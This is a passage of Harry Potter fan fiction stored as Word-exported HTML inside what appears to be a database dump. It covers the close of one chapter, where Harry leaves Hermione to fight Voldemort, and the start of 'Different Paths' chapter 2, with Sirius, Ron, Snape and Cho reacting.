style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione stared at Full Moon that was glistening over\nthe lake.&nbsp; It was a cloudless night\nand the stars were shining brightly.&nbsp;\nFurthermore, fireflies were flying around in the grass,\ntwinkling in the starlight.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was a beautiful night: a cruelly beautiful night.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione sighed.&nbsp;\nShe continued starring at the moon when something caught her eye.&nbsp; It was Harry, at the front gates of the\nschool grounds.&nbsp; This startled\nHermione for she had expected Harry to return to Hogwarts through the passage\nunderneath Honeydukes.&nbsp; Coming back\nfrom the main entrance would&#8217;ve made him a clear target for a professor itching\nto take points from Gryfindor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Without a second, thought, Hermione was out of the\nCommon Room and running toward the main entrance.&nbsp; She made it outside just as Harry was coming up the steps\nleading to the door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Where have you been Harry,&#8221; said Hermione, putting on\nher lecture mood.&nbsp; &#8220;I&#8217;ve been\nwaiting for you for hours.&nbsp; Do you\neven know what time it...&#8221; Hermione stopped when she\nsaw the look on Harry&#8217;s face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry was wearing a sad, lonely smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione swallowed and said, &#8220;Harry, what&#8217;s wrong?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After remaining quiet for a few seconds, Harry said in a\nflat monotonous voice, &#8220;Fudge was killed today.&#8221;<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I know,&#8221; said Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;By a Death Eater.&nbsp; Voldemort is finally putting his plans\ninto action.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, we always knew that would happen, didn&#8217;t we?&#8221;\nsaid Hermione trying to sound brave.&nbsp;\n&#8220;Don&#8217;t worry Harry.&nbsp; If we\nall work together we can stop him.&nbsp;\nI&#8217;m sure that&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No, Hermione.&nbsp;\nYou can&#8217;t get involved.&nbsp; I\nwon&#8217;t let you.&nbsp; I&#8217;m not going to\nlet him hurt you in any way.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Like it or not, I&#8217;m involved, Harry!&#8221; said Hermione, a\nslight anger rising within her.&nbsp;\n&#8220;Don&#8217;t get all noble on me Harry James Potter!&nbsp; I won&#8217;t...&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Suddenly, Harry threw his arms around Hermione and\nhugged her close.&nbsp; Hermione was\nstartled by the display of affection from the boy she was secretly in love with\nand blushed.&nbsp; But she was also a\nlittle frightened since Harry was hugging her as if this would be the last time\nhe could do so.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;m not going to let him hurt you, no matter what.&nbsp; He&#8217;s not going to take from me the one\nperson whom I love more than life itself.&nbsp;\nI&#8217;m going to stop him, even if it costs me everything.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry?&nbsp;\nWhat are you talking about?&#8221;&nbsp;\nHermione was quite frankly frightened by Harry&#8217;s monotonous tone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Good bye, Hermione,&#8221; said Harry, his voice\nbreaking.&nbsp; &#8220;I suppose, this was\nfate.&nbsp; The Boy who lived doesn&#8217;t\nget to have a roof over his head forever.&nbsp;\nThank you so much, for everything.&#8221;&nbsp; With that, Harry pulled away from Hermione and started to\nwalk away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry?&#8221; Hermione called out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry simply continued walking away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry.&nbsp;\nWait.&#8221;&nbsp; Hermione tried to\nfollow Harry but she tripped on the stairs and fell to the ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry stopped for a brief second but continued walking\naway.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Come back,&#8221; whispered Hermione.&nbsp; Tears were flowing down her cheeks as\nshe reached out for Harry, desperately trying to reach for him as he walked\naway, out of her life.&nbsp; &#8220;Please\ncome back,&#8221; she begged.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">But Harry did not come back.&nbsp; Soon he was gone, and Hermione fell to the ground and broke\nout in sobs.&nbsp; Around her fireflies\nwere flying, the stars were twinkling, and the full moon was shining.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was a beautiful night: a cruelly beautiful night.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b style="mso-bidi-font-weight:normal">To be\ncontinued...</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N It&#8217;s here!&nbsp;\nIt&#8217;s finally here!&nbsp; The all new first chapter of my new fic.&nbsp; Ready to be read and\nreviewed.&nbsp; So post away and\ntell me what you think!&nbsp; Next:\nWe&#8217;ll see more familiar characters.&nbsp;\nAnd how they react.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n\n'),
	(33, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Title:</b>\nDifferent Paths (01)<br>\n<b>Author name:</b> E. C. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category: </b>Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Ruroni Kenshin: Kyoto\nstory arc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James\nPotter. Two wizards, with incredibly similar beginnings, who\njourneyed on different paths. Such different paths that inevitably, they\ncould only lead to a collision course. And collide, they do.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and\nWarner Bros., Inc. No money is being made and no copyright or trademark\ninfringement is intended. It is also based on a plot line based on a story\nowned by Nobuhiro Wazuki,\nJump Comics Inc., Fuji Television, and other publishers. No money is being made\nand no copyright or trademark infringement is intended from them either.<br>\n<b>Author notes:</b> I really hope you people have loved chapter 1.&nbsp; Here&#8217;s chapter two, and its\ngoing to feature the reactions of various characters close to Harry and his decision.&nbsp; The plot is of course, from RK and for a\nlong time, I was debating on who I would place in Sanosuke&#8217;s\nrole, Ron or Sirius.&nbsp; You&#8217;ll get your\nanswer to that in this chapter and I&#8217;m also going to bet none of you are going\nto guess who&#8217;s in Saito&#8217;s role.&nbsp; If you\ndon&#8217;t know RK, just forget about this AN, and enjoy this fic.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\nChapter 2: Decisions\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\ndo you mean he left?!&#8221; a voice thundered from within the Three Broomsticks\npub.&nbsp; The voice belonged to a man in his\nmid thirties.&nbsp; He was tall at around 6&#8217;\n2&#8221;, had long, shaggy, black hair that was pulled back into a pony tail, and\neyes that carried the haunted look of a man imprisoned in Azkaban Wizard Prison\nfor a crime he had never committed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Although\nSirius Black was officially a fugitive from the law, he had been given\nunlimited sanctuary within Hogsmeade village and\nHogwarts.&nbsp; It was already a known fact,\nat least in Hogwarts and Hogsmeade\nafter the return of Voldemort, that\nSirius was indeed innocent of the crimes he was accused of all those years ago,\nof betraying his best friends to Voldemort and\nkilling twelve muggles afterwards.&nbsp; However, Fudge had refused to withdraw the\ncharges against Sirius, believing them to be more delusions of that pitiful\nboy, Harry Potter.&nbsp; However, he had\nfinally given in to sheer pressure and had granted Sirius asylum.&nbsp; As long as he remained in Hogsmeade, no auror could touch\nhim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Some\nof the men in the pub quelled at Sirius&#8217;s glare.&nbsp; After all, this was the man who at one point had been rumored to\nhave been Voldeort&#8217;s right hand man.&nbsp; &#8220;We&#8217;re only repeating these small rumors,&#8221;\nsaid one of the men.&nbsp; &#8220;Apparently, Harry\nPotter left Hogwarts after Fudge was killed.&nbsp;\nThey say he went after You-Know-Who.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius\ndrained his tankard of butterbeer down his throat and\nslammed the empty tankard onto the counter.&nbsp;\n&#8220;Why didn&#8217;t you tell me Harry,&#8221; he muttered to himself.&nbsp; &#8220;Then again, what more could I have expected\nfrom James&#8217;s son.&#8221;&nbsp; What really got to\nSirius was what Harry had done would&#8217;ve been the exact same thing James Potter,\nHarry&#8217;s father and Sirius&#8217;s best friend, would&#8217;ve done if he were in the same\nposition.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Still\nmuttering angrily to himself, Sirius stormed out of the Three Broomsticks, only\nto butt heads with a young red head, around the same height as him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Owe!&#8221;\nRon Weasley exclaimed as he rubbed the newly formed\nlump on his forehead.&nbsp; &#8220;Bloody Hell,\nSirius, next time watch where you&#8217;re going!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron?&#8221;\nsaid Sirius, while rubbing his forehead.&nbsp;\n&#8220;Has Harry really left Hogwarts to go chase after Voldemort?&nbsp; Why aren&#8217;t you with him?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;First\nof all Sirius, Harry left two days ago,&#8221; said Ron, flinching a little bit from\nSirius&#8217;s use of the Dark Lord&#8217;s name.&nbsp;\n&#8220;And secondly, I would&#8217;ve gone after him except that I didn&#8217;t want to\nleave Hermione in the state she is now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&nbsp; What&#8217;s wrong with Hermione?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;She&#8217;s\ndepressed,&#8221; said Ron with a sigh.&nbsp; &#8220;She\nhasn&#8217;t left her room for the past two days let alone her bed.&nbsp; Just last night, I walked by her Head Girl\nroom and I could hear her crying in there.&nbsp;\nIt&#8217;s even worse then when her parents were killed by Death Eaters a year\nand a half ago.&nbsp; At least back then, she\nhad Harry&#8217;s shoulder to cry on.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Is\nshe really that bad?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ve\nnever seen her like this before.&nbsp;\nUsually, she&#8217;d be the first one packing her bags and going out chasing\nafter Harry, but not this time.&nbsp; I think\nsomething happened between the two of them the night before she left.&nbsp; Through what I&#8217;ve managed to piece out,\nHarry said &#8216;good bye&#8217; to her in a way that he was expecting that would be the\nlast time that we ever saw him.&nbsp; Bloody git didn&#8217;t\neven say &#8216;good bye&#8217; to me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nmore could I have expected from James&#8217;s son.&#8221;&nbsp;\nSirius sighed and said, &#8220;You&#8217;re going to have to take care of her Ron.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\ngoing after Harry, aren&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nof course I&#8217;m going after Harry.&nbsp; He\nneeds all the help he can get.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nbe foolish, Black.&nbsp; You&#8217;ll end up as\nnothing more than a hindrance to Potter,&#8221; called a familiar oily voice from\nbehind the two.&nbsp; Surprised, Sirius and\nRon spun around to come face to face with none other than Severus\nSnape.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You?&#8221; Sirius and Ron both exclaimed at the same time.&nbsp; Severus Snape, the former potions master of Hogwarts had resigned\nfrom his job shortly after the Slytherin Revolts,\ntaking responsibility for the radical students that were members of the house\nhe was head of.&nbsp; He had completely\ndisappeared during the year since then, until now apparently.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nare you doing back here?&#8221; Sirius said with a groan.&nbsp; &#8220;Things were so peaceful with you long gone from the halls of the\ncastle.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Snape gritted his teeth, the old hatred between the two\nformer classmates stirring up again.&nbsp;\n&#8220;You&#8217;re lucky you have asylum here, Black,&#8221; he hissed.&nbsp; &#8220;Otherwise, I would&#8217;ve had you arrested and\nturned over to Azkaban.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\nsnorted and said, &#8220;Ha!&nbsp; What authority\ndo you have to do that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Are\nyou fools blind?&#8221; Snape said incredulously.&nbsp; It was only then when Sirius and Ron\nrecognized the robes Snap was wearing: it was the blue and black uniform of an auror.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius&#8217;s\nmouth dropped.&nbsp; &#8220;You&#8217;re an auror?&#8221; he asked slowly, digesting in the fact.&nbsp; If anybody had suggested the concept of Snape being an auror on an\nearlier date, he would&#8217;ve laughed out loud.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nso you think I&#8217;ve been doing this past year,&#8221; said Snape\nwith a huff. &nbsp;&#8220;Some members of the\nMinistry, unlike Fudge, recognized that a war was brewing against the Dark\nLord.&nbsp; They wanted aurors,\nwho knew as much about him as possible.&nbsp;\nHence, after my resignation as potions master, they asked me.&nbsp; I&#8217;ve been spending the past year training,\nand now here I am.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius\ngrimaced at the thought that if he ever left Hogsmeade,\nSnape would be after him.&nbsp; However, that really wasn&#8217;t the pressing concern at the\ntime.&nbsp; &#8220;Leaving all that aside, what did\nyou mean by I&#8217;d end up a hindrance to Harry?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Snape raised an eyebrow.&nbsp;\n&#8220;It&#8217;s really quite simple,&#8221; he said.&nbsp;\n&#8220;You&#8217;re a wanted fugitive as well as a prominent opponent of the Dark\nLord.&nbsp; If you leave Hogsmeade,\nyou&#8217;ll be hunted down by both aurors and Death\nEaters.&nbsp; Ergo, you&#8217;ll end up a hindrance\nto Potter since he&#8217;ll spend valuable time protecting you when he should be\nspending his time fighting the Dark Lord.&nbsp;\nReally, that foolish boy is far too ridiculously noble for a job of this\nsort, just like his father...&#8221; Snape stopped there since\nSirius had just slugged him in the face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\ncan insult me all you like, Snape,&#8221; hissed Sirius\nthrough clenched teeth.&nbsp; &#8220;But you&#8217;d\nbetter not insult James&#8217;s son in front of me again.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Snape angrily wiped away the blood that had started to\ntrickle down his chin.&nbsp; &#8220;Fine,&#8221; he\nsaid.&nbsp; &#8220;Get yourself killed.&nbsp; It would do the world a favor.&nbsp; But I&#8217;m warning you, if either one of you\ngets involved in this battle against the Dark Lord, the Ministry will not be\nthere to help you.&nbsp; You&#8217;ll be on your\non.&nbsp; Don&#8217;t say I didn&#8217;t warn you!&#8221;&nbsp; With a dramatic swish of his robe, Snape walked away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thanks\nfor the warning professor,&#8221; Ron shouted out rather sarcastically as Snape left.&nbsp; &#8220;But\nI&#8217;m sure that you&#8217;re fully aware that we&#8217;re going to go after Harry.&nbsp; So don&#8217;t give us warnings we won&#8217;t even\nheed!&nbsp; I&#8217;m going after Harry and I am\nnot going to be a bloody hindrance to him!&nbsp;\nIf I&#8217;m not strong enough, then I&#8217;ll just get stronger, even if it means\ngoing through all those books Hermione&#8217;s been urging me to read.&nbsp; So get one thing straight!&nbsp; This is not going to be the last time you\nsee us!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius\nwas rather impressed by the way Ron was able to shout back at his former\npotions master.&nbsp; Sirius turned to him\nand said, &#8220;I&#8217;m going after Harry.&nbsp; You\nshould probably stare here and look after Hermione but as soon as she comes to\nher senses, come after us.&nbsp; Harry may\nnot admit it but he needs you both.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\nbeat his fist on his chest and said, &#8220;You can count on me, Padfoot.&nbsp; And don&#8217;t worry about Hermione.&nbsp; After I beat a little sense into her, we&#8217;re\nboth going after Harry as well.&#8221;&nbsp; Sirius\ngrinned at Ron&#8217;s use of his old nickname.&nbsp;\nHe transformed into his animagus form, a huge\nbear like black dog, and wandered away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\nstarred at the way Sirius had gone before he turned around and started to make\nhis way back to Hogwarts.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;OK now, how the heck am I going to get\nHermione out of her depression?&nbsp; I wish Harry were here, he&#8217;s far better at\ndealing with Hermione&#8217;s emotions than I am.&nbsp;\nThen again, the whole reason why she&#8217;s depressed in the first place is\nbecause Harry&#8217;s not here.&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron,&#8221;\ncalled out a voice from behind.&nbsp; Ron\nturned around to see a beautiful, black haired young woman come toward\nhim.&nbsp; Cho\nChang had graduated from Hogwarts the previous year.&nbsp; The former Ravenclaw Quidditch Seeker was now a Medi-witch\nin training, currently residing in Hogsmeade though\nshe was working to move to London\nand work at St. Mungo&#8217;s Hospital for Magical Maladies\nand Injuries.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron,&#8221;\nsaid Cho.&nbsp;\n&#8220;What are you doing here?&nbsp; I\nthought you and Hermione would&#8217;ve gone after Harry by now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione&#8217;s\nstill here,&#8221; stated Ron, his tone even.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&#8221;\nsaid Cho.&nbsp; &#8220;How\ncome?&#8221;</p>\n\n<p class="MsoNormal" 